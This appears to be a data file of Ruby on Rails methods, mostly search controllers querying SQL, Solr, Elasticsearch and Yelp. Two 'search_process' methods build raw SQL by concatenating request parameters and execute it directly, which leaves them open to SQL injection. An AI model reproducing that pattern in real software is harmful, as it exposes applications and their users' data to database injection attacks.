"def search_process\r\nsearch_text=params[:q].to_s\r\nall=params[:all].to_s\r\nexact=params[:exact].to_s\r\nany=params[:any].to_s\r\nnone=params[:none].to_s\r\nadvanced_query=\"\"\r\n\r\nif all != \"\"\r\nall=all.split(' ')\r\nall_like=all.map {|x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nall_like=all_like.join(' and ')\r\nadvanced_query=all_like\r\nend\r\n\r\nif exact != \"\" && all != \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = advanced_query + \" and keyword like \" + exact\r\nend\r\n\r\nif exact != \"\" && all == \"\"\r\nexact=\"'%\"+exact+\"%'\"\r\nadvanced_query = \"keyword like \" + exact\r\nend\r\n\r\nif any != \"\" and ( all != \"\" or exact != \"\" )\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = advanced_query + \" and (\" + any_like + \")\"\r\nend\r\n\r\nif any != \"\" and all == \"\" and exact == \"\"\r\nany=any.split(' ')\r\nany_like=any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\r\nany_like=any_like.join(' or ')\r\nadvanced_query = \"(\" + any_like + \")\"\r\nend\r\n\r\nif none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query=advanced_query + \" and \" + none_not_like\r\n\r\nend\r\n\r\nif none != \"\" and all == \"\" and exact == \"\" and any == \"\"\r\nnone=none.split(' ')\r\nnone_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\r\n\r\nnone_not_like=none_not_like.join(' and ')\r\n\r\nadvanced_query= none_not_like\r\nend\r\n\r\n\r\n\r\n\r\n\r\nadvanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\r\nputs \"\\n\\n***********************************\\n\\n\"+advanced_query+\"\\n\\n**********************\\n\\n\"\r\n\r\nparameter_search_text=search_text.split.join(\" \")\r\n keyword_array=parameter_search_text.split(' ')\r\n keyword_count=keyword_array.size\r\n\r\nconnection = ActiveRecord::Base.connection();\r\nif all != \"\" or exact != \"\" or any != \"\" or none != \"\"\r\n@resultset = connection.execute(\"#{advanced_query}\");\r\nelse\r\n@resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\r\nend\r\nActiveRecord::Base.clear_active_connections!()\r\n\r\n@resultset.each do |res|\r\nputs res\r\nend\r\n@resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '')}\r\n@model_ids=Array.new\r\n@model_names=Array.new\r\n@model_types=Array.new\r\n@resultset_strings.each do |result|\r\nsubstring=result[0..4]\r\nputs\"\\n\\n************\"+substring\r\nif substring == \"NMLCL\"\r\ncell=Cell.find_by_Cell_ID(result.to_s)\r\nname=cell.Cell_Name\r\ntype=\"Cell\"\r\nend\r\n\r\nif substring == \"NMLCH\"\r\nchannel=Channel.find_by_Channel_ID(result.to_s)\r\nname=channel.Channel_Name\r\ntype=\"Channel\"\r\nend\r\n\r\n\r\nif substring == \"NMLNT\"\r\nnetwork=Network.find_by_Network_ID(result.to_s)\r\nname=network.Network_Name\r\ntype=\"Network\"\r\nend\r\n\r\n#if substring == \"NMLSY\"\r\n#name=Synapse.find_by_Synapse_ID(result.to_s)\r\n#type=\"Syanpse\"\r\n#end\r\n\r\n@model_ids.push(result)\r\n@model_names.push(name)\r\n@model_types.push(type)\r\nputs \"result-\"+result+\"name-\"+name.to_s\r\nend\r\n\r\nif @model_ids.count != 0\r\nrender :partial => 'keyword_results_list',:locals => {:model_ids => @model_ids,:model_names => @model_names,:model_types => @model_types}\r\nelse\r\nrender :partial => 'no_results'\r\nend\r\n\r\n\r\n end",
"def text\n \tlat = params[:latitude]\n lng = params[:longitude]\n city_filter = current_user_city\n search_text = params[:search_text].to_s.downcase\n main_limit = 20\n if params[:search_type] && params[:search_type].to_i.eql?(2)\n\n stores = Store.without_outlets.group('stores.id').allowed_stores(city_filter)\n .where(['lower(stores.name) like ?', \"%#{search_text}%\"])\n .select('stores.id, stores.name')\n .reorder('stores.name').limit(main_limit)\n\n outlet_stores = Store.with_outlets.group('stores.id').allowed_stores(city_filter)\n .where(['lower(stores.name) like ?', \"%#{search_text}%\"])\n .select('stores.id, stores.name')\n .reorder('stores.name').limit(main_limit)\n outlets = Outlet.outlet_status.allowed_outlets(city_filter)\n .where(['lower(outlets.locality) like ?', \"%#{search_text}%\"])\n .select('outlets.id, outlets.locality, outlets.store_id')\n .reorder('outlets.locality').limit(main_limit)\n \n results = []\n results.concat stores.map { |store| text_response(2, store, store.name) }\n results.concat outlet_stores.map { |store| text_response(4, store, store.local_name ) }\n results.concat outlets.map { |outlet| text_response(5, outlet, outlet.local_name) }\n else\n # malls = Mall.allowed_malls.where(['lower(malls.name) like ?', \"%#{search_text}%\"])\n stores = Store.without_outlets.group('stores.id').allowed_stores(city_filter)\n .where(['lower(stores.name) like ?', \"%#{search_text}%\"])\n .select('stores.id, stores.name')\n .reorder('stores.name').limit(main_limit)\n\n deals = Deal.without_outlets.group('deals.id').click_notify_allowed_deals(city_filter, [Deal::DealType[:rd], Deal::DealType[:ed], Deal::DealType[:pd]])\n .where(['lower(deals.main_line) like ?', \"%#{search_text}%\"])\n .select('deals.id, deals.main_line')\n .reorder('deals.main_line').limit(main_limit)\n outlet_stores = Store.with_outlets.group('stores.id').allowed_stores(city_filter)\n .where(['lower(stores.name) like ?', \"%#{search_text}%\"])\n .select('stores.id, stores.name')\n .reorder('stores.name').limit(main_limit)\n outlets = Outlet.outlet_status.allowed_outlets(city_filter)\n .where(['lower(outlets.locality) like ?', \"%#{search_text}%\"])\n .select('outlets.id, outlets.locality, outlets.store_id')\n .reorder('outlets.locality').limit(main_limit)\n outlet_deals = Deal.with_outlets.group('deals.id').click_notify_allowed_deals(city_filter, [Deal::DealType[:rd], Deal::DealType[:ed], Deal::DealType[:pd]])\n .where(['lower(deals.main_line) like ?', \"%#{search_text}%\"])\n .select('deals.id, deals.main_line')\n .reorder('deals.main_line').limit(main_limit)\n lmd_deals = Deal.without_outlets.click_notify_allowed_deals(city_filter, Deal::DealType[:lmd]).in_last_minute_deal_time\n .where(['lower(deals.main_line) like ?', \"%#{search_text}%\"])\n .select('deals.id, deals.main_line, deals.last_end_time')\n .reorder('deals.main_line').limit(main_limit)\n lmd_outlet_deals = Deal.with_outlets.group('deals.id').click_notify_allowed_deals(city_filter, Deal::DealType[:lmd]).in_last_minute_deal_time\n .where(['lower(deals.main_line) like ?', \"%#{search_text}%\"])\n .select('deals.id, deals.main_line, deals.last_end_time')\n .reorder('deals.main_line').limit(main_limit)\n\n results = []\n # results.concat malls.map { |mall| text_response(1, mall, mall.name) }\n results.concat stores.map { |store| text_response(2, store, store.name) }\n results.concat deals.map { |deal| text_response(3, deal, deal.main_line) }\n results.concat outlet_stores.map { |store| text_response(4, store, store.local_name ) }\n results.concat outlets.map { |outlet| text_response(5, outlet, outlet.local_name) }\n results.concat(outlet_deals.map do |deal|\n deal.outlets.map { |outlet| text_response(6, deal, deal.main_line, { outlet_id: outlet.id }) }\n end.flatten)\n results.concat lmd_deals.map { |deal| text_response(7, deal, deal.main_line, { time_difference: deal.lmd_time_difference.strftime(\"%H:%M\"), deal_category_id: deal.try(:deal_category_ids).try(:first) }) }\n results.concat(lmd_outlet_deals.map do |deal|\n deal.outlets.map { |outlet| text_response(8, deal, deal.main_line, { outlet_id: outlet.id, time_difference: deal.lmd_time_difference.strftime(\"%H:%M\"), deal_category_id: deal.try(:deal_category_ids).try(:first) }) }\n end.flatten)\n end\n render_success(results: results.compact.sort_by {|h| h[:text] }.first(main_limit))\n end",
"def search\n @selected = Herb.find_by_id(params[:search])\n if @selected\n redirect_to @selected and return\n else\n \n @search = Herb.search do\n fulltext params[:search]\n\n end\n @herbs = @search.results\n @first = @herbs.pop\n @second = @herbs.pop\n @third = @herbs.pop\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @herbs }\n end\n end",
"def lookup_payload\n {\n query: {\n bool: {\n should: [\n { match: { exact_query: @query } },\n { match: { stemmed_query: @query } },\n ],\n },\n },\n post_filter: {\n bool: { must: { match: { document_type: \"best_bet\" } } },\n },\n size: 1000,\n _source: {\n includes: %i[details stemmed_query_as_term],\n },\n }\n end",
"def searchsuggestion_params\n params.require(:searchsuggestion).permit(:term, :popularity)\n end",
"def index\n @searches = Sunspot.search(Drug, Review, Condition) do\n fulltext params[:search]\n end\n @results=@searches.results\n @drugresults=Array.new\n @conditionresults=Array.new\n @reviewresults=Array.new\n @results.each do |result|\n if result.instance_of?Drug\n @drugresults.push(result)\n elsif result.instance_of?Condition\n @conditionresults.push(result)\n else\n @reviewresults.push(result)\n end\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @searches }\n end\n end",
"def search; end",
"def search_success\n page(SubmissionPage).create_post(\"search query\")\n page(FeedDetailsPage).view_search(\"Microsoft\")\n page(FeedDetailsPage).touch_rec\n page(FeedDetailsPage).view_search(\"Microsoft\")\nend",
"def index\n @query = params[:query] || {\n search: '',\n }\n @theorems = Theorem.all.where(root: true).limit(50)\n @theorems = @theorems.order('views desc')\n @theorems = @theorems.where('text ILIKE ?', \"%#{@query[:search]}%\") if @query[:search] && @query[:search].length > 0\n respond_to do |f|\n f.html { render 'index' }\n f.json { render json: @theorems }\n end\n end",
"def index\n #session[:params] = {} unless session[:params]\n #session[:params][:patron] = params\n # 最近追加されたパトロン\n #@query = params[:query] ||= \"[* TO *]\"\n query = params[:query].to_s.strip\n @query = query.dup\n query = query.gsub(' ', ' ')\n order = nil\n @count = {}\n\n search = Sunspot.new_search(Patron)\n set_role_query(current_user, search)\n\n if params[:mode] == 'recent'\n query = \"#{query} created_at_d:[NOW-1MONTH TO NOW]\"\n end\n unless query.blank?\n search.build do\n fulltext query\n end\n end\n unless params[:mode] == 'add'\n user = @user\n work = @work\n expression = @expression\n manifestation = @manifestation\n patron = @patron\n patron_merge_list = @patron_merge_list\n search.build do\n with(:user).equal_to user.username if user\n with(:work_ids).equal_to work.id if work\n with(:expression_ids).equal_to expression.id if expression\n with(:manifestation_ids).equal_to manifestation.id if manifestation\n with(:original_patron_ids).equal_to patron.id if patron\n with(:patron_merge_list_ids).equal_to patron_merge_list.id if patron_merge_list\n end\n end\n\n role = current_user.try(:role) || Role.find('Guest')\n search.build do\n with(:required_role_id).less_than_or_equal_to role.id\n end\n\n page = params[:page] || 1\n search.query.paginate(page.to_i, Patron.default_per_page)\n @patrons = search.execute!.results\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @patrons }\n format.rss { render :layout => false }\n format.atom\n format.json { render :json => @patrons }\n end\n end",
"def search_for_example\n visit('/locations?keyword=alpha%20app')\n end",
"def search\n\n @search = Location.near(params[:search], 15, :order => :distance)\n \n @query = params[:search]\n @locations = @search\n \n @filtros = ajustaFiltros\n @precios = precios(@locations)\n @campos = self.campos\n @places = places(@locations,@filtros)\n @facets = facetas(@locations, @filtros)\n @json = @locations.to_gmaps4rails\n end",
"def search\n send_request\n parse_response\n end",
"def parse_search; end",
"def perform_search\n terms = { vehicle_year: 2006,\n vehicle_brand: \"Yamaha\",\n vehicle_model: \"Yz250\",\n vehicle_submodel: \"-- Base\",\n category_name: \"Complete Wheel Assembly\" }\n perform_search(terms)\n end",
"def find_params\n params.permit(:search_results)\n end",
"def search(loc, msgId, keywords, index=false)\n\n# httpuri=URI::parse(\"http://#{loc}/netinfproto/search\")\n# Net::HTTP.post_form(httpuri, 'msgid' => msgId, 'ext' => \"no extension\")\n\n\n httpuri= URI::parse(\"http://#{loc}/netinfproto/search\")\n ext=\"no extension\"\n if index\n ext=\"index\"\n end\n \n res=Net::HTTP.post_form(httpuri, 'tokens' => keywords, 'msgid' => msgId, 'ext' => ext)\n#, \"rform\" => \"json\")\n\n\n end",
"def search\n\n # define the elasticsearch result \"size\" (limit)\n limit = params['limit'].to_i\n # define the elasticsearch result \"from\" (offset)\n offset = params['offset'].to_i\n # Pass through\n hack = params['hack']\n # Default output\n searchResults = ''\n # If we have filters, we need to parse them\n if params['filters'].present?\n filters = []\n # For each of the filters format them and stuff them into an array\n params['filters'].each do |key, filter|\n\n if [\n 'properties.educationalAlignment.properties.targetName',\n 'properties.inLanguage',\n 'properties.isBasedOnUrl',\n 'properties.thumbnailUrl',\n 'properties.timeRequired',\n 'properties.typicalAgeRange',\n 'properties.url',\n 'properties.useRightsUrl'\n ].include?(key)\n searchKey = \"schema-org.#{key}.original\"\n matchTerm = 'term'\n else\n searchKey = \"schema-org.#{key}\"\n matchTerm = 'match'\n end\n\n if filter.keys.count > 1\n # This is more complex because this filter type needs the keys or'd together\n orFilters = []\n filter.keys.each do |f|\n orFilters << { 'query' => { matchTerm => { searchKey => f.to_s } } }\n end\n filters << { 'or' => orFilters }\n else\n # This should be simple, there is only one of this filter key\n filters << { 'query' => { matchTerm => { searchKey => filter.keys.first.to_s } } }\n end\n end\n\n # If the query is present we need to match it\n if params['query'].present?\n query = { 'match' => { '_all' => params['query'] } }\n filter = { 'and' => filters }\n # If no query is present then we can wildcard against anything\n else\n query = { 'match_all' => { } }\n filter = { 'and' => filters }\n end\n # if not filter is present then just match against query\n else\n query = { 'match' => { '_all' => params['query'] } }\n end\n\n # Build the payload from the various parts\n payload = {\n 'size' => limit,\n 'from' => offset,\n 'query' => {\n 'filtered' => {\n 'query' => query,\n 'filter' => filter\n }\n },\n \"facets\" => {\n \"intendedEndUserRole\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.intendedEndUserRole.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"typicalAgeRange\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.typicalAgeRange.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"educationalUse\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.educationalUse.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"interactivityType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.interactivityType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"learningResourceType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.learningResourceType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"mediaType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.mediaType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n }\n }\n }\n\n#puts \"PAYLOAD\"; puts Rails.configuration.elastic_search_url; puts payload.to_json\n\n # Okay after all that mess, lets make the request\n request = RestClient::Request.new( :method => :get, :url => Rails.configuration.elastic_search_url, :payload => payload.to_json )\n # Since this can error lets catch it\n begin\n searchResults = request.execute\n results = JSON.parse(searchResults)\n results[:hack] = hack\n\n#puts \"RESPONSE\"; puts results.to_json\n\n respond_to do |format|\n format.json { render json: results }\n end\n rescue => e\n # @TODO Need to return the correct error type and then an error message to be shown to user.\n respond_to do |format|\n format.json { render json: searchResults }\n end\n#puts \"ERROR!\"; puts e.response\n end\n\n end",
"def index\n\n # set group1 from params\n group1_check\n\n # set search keyword\n keyword_check\n\n # terget attribute for search and keyword is;\n search_target = 'name LIKE ?'\n key = '%'+@keyword+'%'\n\n # get necessary attr only\n select = 'id, name, period, status, group1'\n\n # Debug\n #debug 'index', 'page is set: ['+@page.to_s+':'+session[:page].to_s+':'+params[:page].to_s+']'\n debug 'index', 'group1 is set: ['+@group1.to_s+':'+session[:group1].to_s+':'+params[:group1].to_s+']'\n debug 'index', 'search is set: ['+@keyword+']'\n\n #@leafs = Leaf.all\n if @group1 != '0'\n @leafs = Leaf.select(select).where(['group1 = ?', @group1]).order(:id)\n elsif @keyword.present?\n @leafs = Leaf.select(select).where([search_target, key])\n else\n @leafs = Leaf.select(select).order(:id)\n end\n\n end",
"def search\n # max = (params[:valueMax] || 1_000_000).to_i\n # min = (params[:valueMin] || 0).to_i\n # @offers = Offer.where(\"title ILIKE :search AND value <= :max AND value >= :min\", { search: \"%#{params[:search]}%\", max: max, min: min })\n # render json: @offers\n max = (params[:valueMax] || 1_000_000).to_i\n min = (params[:valueMin] || 0).to_i\n @offers = []\n query = (params[:search])\n query.split(' ').each do |keyword|\n @offers += Offer.where(\"title ILIKE :search AND value <= :max AND value >= :min\", { search: \"%#{keyword}%\", max: max, min: min })\n end\n render json: @offers\n end",
"def all\n\t\tquery = (params[:term] || params[:query])\n\t\t\n @search_results = PgSearch\n\t\t\t.multisearch(query)\n\t\t\t.page(params[:page])\n\t\t\n\t\trender 'multi_search'\n\tend",
"def index\n @animals = Animal.search(params[:term])\n # @tasks = Task.search(params[:term])\n # @my_input = params['my_input']\n end",
"def index\n @category = Category.find(params[:category_id], :include => 'subcategories')\n @location = Location.find(params[:location_id])\n @subcat_array = @category.subcategories.select{|v| v.location_id == @location.id }\n a = []\n for subcat in @subcat_array\n a = [a, subcat.id]\n end\n if nil == params[:query]\n @query_string = \"\"\n @chunks = nil\n else\n @query = params[:query].strip\n @chunks = self.make_chunks(@query)\n x=0\n y=0\n\n for chunk in @chunks\n x = x+1\n\t if x > 0 && x < @chunks.size && chunk != 'and' && chunk != 'or' && chunk != '^+' && chunk != '^-' && @chunks[x] != 'and' && @chunks[x] != 'or'\n @chunks[y] = chunk + ' or '\n else\n\t\t@chunks[y] = chunk + ' '\n end\n y = y+1 \n end\n @query_string = process_chunk(@chunks)\n end \n filters = {} \n filters['subcategory_id'] = a.flatten\n @search=Ultrasphinx::Search.new(:query => @query_string, :filters => filters)\n @search.run\n @results = @search.results\n @postings = @results.paginate :page => params[:page],:per_page =>2 \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @postings }\n end\n end",
"def search\n search_param = params[:term]\n matching_keys = UserKey.submitted.search(search_param).collect { |u| { value: \"#{u.name}\", data: u.id } }\n render json: { suggestions: matching_keys }\n end",
"def results\n # lat, lng, and term from user.js AJAX get request\n p params\n @lat = params[:lat]\n @long = params[:lng]\n term = params[:term]\n yelp_params = { term: term, limit: 5, sort: 1}\n coordinates = { latitude: @lat, longitude: @long }\n new_search = Yelp.client.search_by_coordinates(coordinates, yelp_params)\n # TODO - refactor into a separate function\n p new_search\n new_search.businesses.each do |business|\n \t result_name = business.name\n result_distance = business.distance\n \t result_address = business.location.address\n \t result_lat = business.location.coordinate.latitude\n \t result_long = business.location.coordinate.longitude\n \t # result_review = business.review_count\n \t # result_rating = business.rating\n end \n render json: new_search\n end",
"def index\n @search = params[\"search\"]\n if @search.present?\n client = Client.new(@search)\n response = client.call\n\n new_results = StoreSearch.new(@search, response).run\n if new_results\n scope_to_use = client.find_search_key || \"random\"\n\n if scope_to_use == \"category\"\n searches = Search.with_category(@search[\"category\"])\n @searches = Search.paginate(page: params[:page], per_page: 5).where(id: searches.map(&:id))\n # TODO recover former sintax\n # @searches = Search.paginate(page: params[:page], per_page: 5)\n # .with_category(@search[\"category\"])\n elsif scope_to_use == \"text\"\n @searches = Search.paginate(page: params[:page], per_page: 5)\n .with_text(@search[\"text\"])\n elsif scope_to_use == \"random\"\n @searches = Search.paginate(page: params[:page], per_page: 5)\n .created_randomly\n else\n @searches = Search.paginate(page: params[:page], per_page: 5)\n end\n else\n @searches = Search.paginate(page: params[:page], per_page: 5)\n end\n end\n \n @searches ||= Search.paginate(page: params[:page], per_page: 5)\n @search = Search.new()\n end",
"def index\n authorize SeriesStatement\n search = Sunspot.new_search(SeriesStatement)\n query = params[:query].to_s.strip\n page = params[:page] || 1\n\n unless query.blank?\n @query = query.dup\n query = query.gsub(' ', ' ')\n end\n search.build do\n fulltext query if query.present?\n paginate :page => page.to_i, :per_page => SeriesStatement.default_per_page\n order_by :position, :asc\n end\n #work = @work\n manifestation = @manifestation\n series_statement_merge_list = @series_statement_merge_list\n search.build do\n with(:manifestation_id).equal_to manifestation.id if manifestation\n with(:series_statement_merge_list_ids).equal_to series_statement_merge_list.id if series_statement_merge_list\n end\n page = params[:page] || 1\n search.query.paginate(page.to_i, SeriesStatement.default_per_page)\n search_result = search.execute!\n @series_statements = search_result.results\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @series_statements }\n end\n end",
"def team_search_params\n params.permit(:match_day_team_ids, :keyword)\n end",
"def search\n end",
"def search\n @q = params[:q]\n @results = Series.external_search(@q)\n\n respond_to do |format|\n format.html # search.html.haml\n format.json { render json: @results.to_json }\n end\n end",
"def index\n #@words = Word.all.order('created_at DESC').paginate(:page => params[:page])\n #@definitions = @words.each {|word| word.definitions.order(:cached_votes_up => :desc)}\n\n if params[:letter]\n @words = Word.all.order('created_at DESC').where(\"word like ?\", params[:letter] +\"%\" ).paginate(:page => params[:page])\n # creates this /words?letter=i\n elsif params[:term]\n @words = Word.where('word LIKE ?', \"%#{params[:term]}%\").paginate(:page => params[:page])\n else\n @words = Word.all.order('created_at DESC').paginate(:page => params[:page])\n end\n\n respond_to do |format|\n format.html # will render index.html.erb in case of a HTML request\n format.js # will render index.js.erb in case of an AJAX request\n end\n end",
"def search_for_active_towns\n q = params[:query].mb_chars.capitalize.to_s\n @towns = Town.get_central_authority_towns(q).order_by(:level => :asc)\n respond_to do |format|\n format.json { render 'search'}\n end\n end",
"def search\n unless params[:search].blank?\n @search = Sunspot.search(KyuEntry) do\n fulltext params[:search]\n end\n @kyu = @search.results\n end\n end",
"def index\n @projects = Project.all\n @found_sector = Project.search(params['sector_name'], fields: [:sector_name])\n if @found_sector.length == 0\n @found_sector = Project.all\n end\n # query = params[:query].presence || \"*\"\n # conditions = {}\n # conditions[:sector_name] = params[:sector_name] if params[:sector_name].present?\n # conditions[:country] = params[:country] if params[:country].present?\n # @found_sector = Project.search query, where: conditions\n\n @found_sector = Project.search(params[:sector_name], fields: [:sector_name]).results &\n Project.search(params[:country], fields: [:country]).results &\n Project.search(params[:region], fields: [:region]).results\n if @found_sector.length == 0\n @found_sector = Project.all\n end\n end",
"def search_process\n @search_text =params[:q].to_s\n all =params[:all].to_s\n exact =params[:exact].to_s\n any =params[:any].to_s\n none =params[:none].to_s\n advanced_query=\"\"\n\n if all != \"\"\n all =all.split(' ')\n all_like =all.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n all_like =all_like.join(' and ')\n advanced_query=all_like\n end\n\n if exact != \"\" && all != \"\"\n exact =\"'%\"+exact+\"%'\"\n advanced_query = advanced_query + \" and keyword like \" + exact\n end\n\n if exact != \"\" && all == \"\"\n exact =\"'%\"+exact+\"%'\"\n advanced_query = \"keyword like \" + exact\n end\n\n if any != \"\" and (all != \"\" or exact != \"\")\n any =any.split(' ')\n any_like =any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n any_like =any_like.join(' or ')\n advanced_query = advanced_query + \" and (\" + any_like + \")\"\n end\n\n if any != \"\" and all == \"\" and exact == \"\"\n any =any.split(' ')\n any_like =any.map { |x| \"keyword like \" + \"'%\" + x + \"%'\" }\n any_like =any_like.join(' or ')\n advanced_query = \"(\" + any_like + \")\"\n end\n\n if none != \"\" and (all != \"\" or exact != \"\" or any != \"\")\n none =none.split(' ')\n none_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\n\n none_not_like=none_not_like.join(' and ')\n\n advanced_query=advanced_query + \" and \" + none_not_like\n\n end\n\n if none != \"\" and all == \"\" and exact == \"\" and any == \"\"\n none =none.split(' ')\n none_not_like=none.map { |x| \"keyword not like \" + \"'%\" + x + \"%'\" }\n\n none_not_like=none_not_like.join(' and ')\n\n advanced_query= none_not_like\n end\n\n\n advanced_query = \"SELECT Model_ID FROM keyword_symbol_tables WHERE \"+advanced_query\n\n parameter_search_text=@search_text.split.join(\" \")\n keyword_array =parameter_search_text.split(' ')\n keyword_count =keyword_array.size\n\n connection = ActiveRecord::Base.connection\n\n if all != \"\" or exact != \"\" or any != \"\" or none != \"\"\n @resultset = connection.execute(\"#{advanced_query}\");\n else\n @resultset = connection.execute(\"call keyword_search('#{parameter_search_text}',#{keyword_count})\");\n end\n\n ActiveRecord::Base.clear_active_connections!\n\n @resultset_strings = @resultset.map { |result| result.to_s.gsub(/[^0-9A-Za-z]/, '') }\n\n @model_ids =Array.new\n @model_names =Array.new\n @model_types =Array.new\n\n @resultset_strings.each do |result|\n\n substring=result[0..4]\n\n if substring == \"NMLCL\"\n cell=Cell.find_by_Cell_ID(result.to_s)\n name=cell.Cell_Name\n type=\"Cell\"\n end\n\n if substring == \"NMLCH\"\n channel=Channel.find_by_Channel_ID(result.to_s)\n name =channel.Channel_Name\n type =\"Channel\"\n end\n\n\n if substring == \"NMLNT\"\n network=Network.find_by_Network_ID(result.to_s)\n name =network.Network_Name\n type =\"Network\"\n end\n\n if substring == \"NMLSY\"\n synapse=Synapse.find_by_Synapse_ID(result.to_s)\n name =synapse.Synapse_Name\n type =\"Synapse\"\n end\n\n @model_ids.push(result)\n @model_names.push(name)\n @model_types.push(type)\n\n end\n\n if @model_ids.count != 0\n\n render :partial => 'keyword_results_list',\n :locals => {\n :model_ids => @model_ids,\n :model_names => @model_names,\n :model_types => @model_types\n }\n\n else\n\n render :partial => 'no_results'\n\n end\n\n end",
"def search(query); end",
"def show\n respond_to do |format|\n format.html do \n if @custom_search_engine.publish? || current_user == @custom_search_engine.author\n @valid_labels = @custom_search_engine.labels.map { |l| l.name }\n @labels_hash = Hash.new\n @no_labels_arr = Array.new\n @custom_search_engine.annotations.score_desc.each do |a|\n if a.labels_list.any?\n a.labels_list.each do |l|\n if @valid_labels.include?(l)\n @labels_hash[l] = Array.new if @labels_hash[l].nil?\n @labels_hash[l].push(a)\n else\n @no_labels_arr.push(a)\n end\n end\n else\n @no_labels_arr.push(a)\n end \n end\n if @custom_search_engine.status == 'publish' && current_user != @custom_search_engine.author\n @custom_search_engine.inc(:browse_count, 1)\n end\n render 'show'\n else\n flash[:error] = I18n.t('human.errors.only_publish_cse_available')\n redirect_to nodes_path \n end\n end\n #format.json { render json: @custom_search_engine }\n format.xml { @labels = @custom_search_engine.labels }\n end\n end",
"def search\n #begin\n page = params[:page].present? ? params[:page].to_i : 1\n page = 1 if page <= 0\n query = params[:query]\n @unclean_query = query.dup\n\n # return error message\n if @unclean_query.present? && (@unclean_query.length < 3 || @unclean_query.length > 30)\n if @unclean_query.length < 3\n gon.searchErrorMessage = I18n.t(\"views.shared.search_errors.too_short\")\n else\n gon.searchErrorMessage = I18n.t(\"views.shared.search_errors.too_long\")\n end\n else\n # Finding yards in which current employee has access\n employee_yard_access = current_employee.yards.pluck(:id)\n employee_country = current_employee.present? ? current_employee.operating_country : nil\n\n # .where(\"yards.id in (?)\", employee_yard_access)\n @vehicles = Vehicle.includes([:seller, :facility, :vehicle_type, {model: :make}]).search(query, page, {yard_access: employee_yard_access, \n country_id: employee_country.try(:id)}, current_role_id)\n if @vehicles.empty?\n gon.searchResultMessage = I18n.t(\"controllers.vehicle.search.no_results\")\n else\n gon.searchResultMessage = I18n.t(\"controllers.vehicle.search.results\")\n end\n gon.pagination = { current_page: @vehicles.current_page,\n default_per_page: Kaminari.config.default_per_page,\n per_page: @vehicles.size,\n total_pages: @vehicles.total_pages,\n total_count: @vehicles.total_count }\n\n gon.vehicles = @vehicles.map(&:search_results) || [] \n gon.sortOptionAscending = Vehicle::SORT_ASCENDING\n gon.sortOptionDescending = Vehicle::SORT_DESCENDING\n gon.httpSlug = \"/search\" \n end\n\n gon.queryString = @unclean_query\n gon.parameters = { page: page,\n query: @unclean_query}\n \n respond_to do |format|\n format.html\n format.json { render :json => { vehicles: gon.vehicles, \n parameters: gon.parameters, \n pagination: gon.pagination } }\n end\n \n end",
"def case_search\n\t # Search cases according to the keyword\n\t cases = case_list(params[:searchterm])\n create_recent_search(params[:searchterm])\n # check condition for case is present or not.\n if cases.present?\n # response to the JSON\n render json: { success: true, response: cases.as_json('search')},:status=>200\n else\n render :json=> { success: false, message: \"Case is not present.\" },:status=> 203\n end\n \tend",
"def index\n @search_name = params[:search_name]\n\n # INICIO RANSACK\n @query = LentType.ransack(params[:q]) \n @query.name_cont = @search_name if @search_name.present?\n\n # PAGINACION Y ORDEN\n @results = @query.result(distinct: true).paginate(:page => params[:page] )\n \n # RESULTADO FINAL\n @lent_types = @results \n end",
"def search\n\n # extract the terms from params\n terms = params[:search_terms]\n\n # redirect to root in case of missing terms\n redirect_to root_path && return if terms.blank?\n\n # extract the terms to an array\n # delete('-') because phones are saved without '-' (numbers only)\n terms_array = params[:search_terms].delete('-').split(' ')\n\n # extract the params using private methods\n age = age_param(terms_array)\n phone = phone_param(terms_array)\n names_array = name_param_array(terms)\n\n # find the people available for the search terms\n @peoples = People.search_by_terms(names_array, phone, age)\n\n # renders 'search.js'\n end",
"def search_posts\n @posts = Post.ransack(name_cont: params[:q]).result.limit(20)\n\n render json: @posts, status: 200\n end",
"def search_for_areas\n @towns = use_cache get_controller_action_key do\n Town.all.reject{|town| town.level != 1 }\n end\n\n respond_to do |format|\n q = params[:query].mb_chars.capitalize.to_s\n @towns = @towns.select{ |t| Regexp.new(\"^#{q}.*\") =~ t.title }\n format.json\n end\n\n end",
"def index\n @patent_searches = PatentSearch.all\n end",
"def perform\n PgSearch::Multisearch.rebuild(Doc)\n end",
